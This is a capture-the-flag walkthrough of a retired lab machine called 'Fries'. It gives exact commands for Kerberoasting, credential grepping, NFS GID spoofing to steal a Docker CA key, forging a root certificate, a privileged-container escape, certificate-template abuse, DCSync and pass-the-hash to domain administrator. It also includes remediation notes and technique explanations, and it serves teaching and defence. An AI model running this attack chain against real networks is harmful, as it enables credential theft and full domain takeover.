Fries
Summary
I kerberoasted a service account using valid domain credentials obtained through credential reuse, SSH'd into the hybrid Linux/Windows host, then exploited an NFSv4 AUTH_SYS misconfiguration to impersonate a privileged group and steal the Docker API's TLS Certificate Authority private key. With that key I forged a client certificate carrying the Common Name 'root', which an over-permissive authz-broker policy granted unrestricted Docker API access.
A privileged container was launched with the host filesystem bind-mounted, yielding root on the Linux layer and the gMSA service account's NTLM hash. That hash was then used to exploit an Active Directory Certificate Services ESC misconfiguration, perform DCSync, and recover the domain administrator's NTLM hash for full Windows domain takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HASH2="<the-hash-you-recovered>"Some commands also carry a value in angle brackets (<dale_password>, <vulnerable_template>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 1
Version-light scan of the top 1000 ports; reveals full AD + Docker hybrid surface.
$ nmap -Pn -sV --version-light --open --top-ports 1000 $TARGETExact commands 2
Requests TGS tickets for all SPN-bearing accounts; replace <dale_password> with dale's recovered credential.
$ impacket-GetUserSPNs fries.htb/dale:'<dale_password>' -dc-ip $TARGET -request -outputfile svc_infra.hashCracks the TGS-REP hash offline; recovered password: $PASSWORD
$ hashcat -m 13100 svc_infra.hash /usr/share/wordlists/rockyou.txtFixEnforce strong, unique passwords on all Kerberos service accountsHigh
Exact commands 4
Validates credentials and confirms shell context.
$ nxc ssh $TARGET -u svc_infra -p "$PASSWORD" -x 'id; hostname'Interactive session; password: $PASSWORD
$ ssh svc_infra@$TARGETLocates and reads the user flag. Flag value: <user.txt>.
$ find / -name user.txt -type f 2>/dev/null | xargs catSearches for credentials in application directories; yields svc / <withheld>.
$ grep -r 'password\|passwd\|secret\|cred' /srv /opt /home /etc 2>/dev/null | grep -v BinaryExact commands 4
Lists NFS exports available from the target.
$ showmount -e $TARGETCreates a local group matching the remote GID; AUTH_SYS passes this GID to the NFS server.
$ sudo groupadd -g 59605603 infra_managers && sudo usermod -aG infra_managers $(whoami) && newgrp infra_managersMounts the share; server grants rwx access because client presents GID 59605603.
$ sudo mount -t nfs4 $TARGET:/srv/web.fries.htb/certs /mnt/nfs_certsCopies the Docker CA private key and certificate locally.
$ cp /mnt/nfs_certs/ca-key.pem /tmp/dcerts/ca-key.pem && cp /mnt/nfs_certs/ca.pem /tmp/dcerts/ca.pemFixReplace NFS AUTH_SYS with Kerberos authentication on sensitive exportsCritical
Exact commands 5
Generates my private key.
$ openssl genrsa -out /tmp/dcerts/root-key.pem 2048Creates a CSR with CN=root: the exact string the authz-broker policy trusts.
$ openssl req -new -key /tmp/dcerts/root-key.pem -out /tmp/dcerts/root.csr -subj '/CN=root'Signs the CSR with the stolen CA key, producing a fully trusted client certificate.
$ openssl x509 -req -in /tmp/dcerts/root.csr -CA /tmp/dcerts/ca.pem -CAkey /tmp/dcerts/ca-key.pem -CAcreateserial -out /tmp/dcerts/root-cert.pem -days 1The certificate is minted on my machine because that is where the stolen CA key is; it has to be used from the target because that is where the daemon listens.
$ scp -r /tmp/dcerts svc@$TARGET:/tmp/dcertsRun inside the SSH session on the target: the daemon is bound to loopback there, not here. --privileged with / bind-mounted means chroot into /host is a native root shell.
$ docker -H tcp://127.0.0.1:2376 --tlsverify --tlscacert=/tmp/dcerts/ca.pem --tlscert=/tmp/dcerts/root-cert.pem --tlskey=/tmp/dcerts/root-key.pem run --rm -it --privileged -v /:/host fries-web:latest /bin/sh -c 'chroot /host /bin/bash'FixHarden Docker API access controls and eliminate privileged container deploymentsCritical
Exact commands 5
Validates WinRM access using the gMSA NTLM hash via pass-the-hash.
$ nxc winrm $TARGET -d fries.htb -u 'gMSA_CA_prod$' -H $HASH -x 'whoami'Enumerates ADCS certificate templates and flags ESC vulnerabilities.
$ certipy find -u 'gMSA_CA_prod$@fries.htb' -hashes :$HASH -dc-ip $TARGET -vulnerable -stdoutRequests a certificate for the Administrator account via ESC SAN abuse; replace <vulnerable_template> with the identified template name.
$ certipy req -u 'gMSA_CA_prod$@fries.htb' -hashes :$HASH -ca fries-DC01-CA -template '<vulnerable_template>' -upn administrator@fries.htb -dc-ip $TARGETAuthenticates with the obtained certificate via PKINIT to retrieve the administrator NTLM hash.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETDCSync dumps all domain account NTLM hashes.
$ impacket-secretsdump fries.htb/administrator@$TARGET -hashes :$HASH2 -just-dc-ntlmFixRemediate ADCS ESC certificate template misconfigurations and restrict gMSA permissionsCritical
Exact commands 3
Confirms domain administrator shell via WinRM pass-the-hash.
$ nxc winrm $TARGET -d fries.htb -u administrator -H $HASH2 -X 'whoami; hostname'Interactive WinRM session as domain administrator.
$ evil-winrm -i $TARGET -u administrator -H $HASH2Locates and reads the root flag. Flag value: <root.txt>.
$ Get-ChildItem C:\ -Force -Recurse -Include root.txt -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName; Get-Content $_.FullName }Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account, including krbtgt, without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
- AD CS Abuse (ESC1–ESC8)
- Password / Credential Reuse
- DCSync
- gMSA Password Read
- SSH Private Key / Credential Theft
New to these ideas? Learn the concepts in Hack & Learn.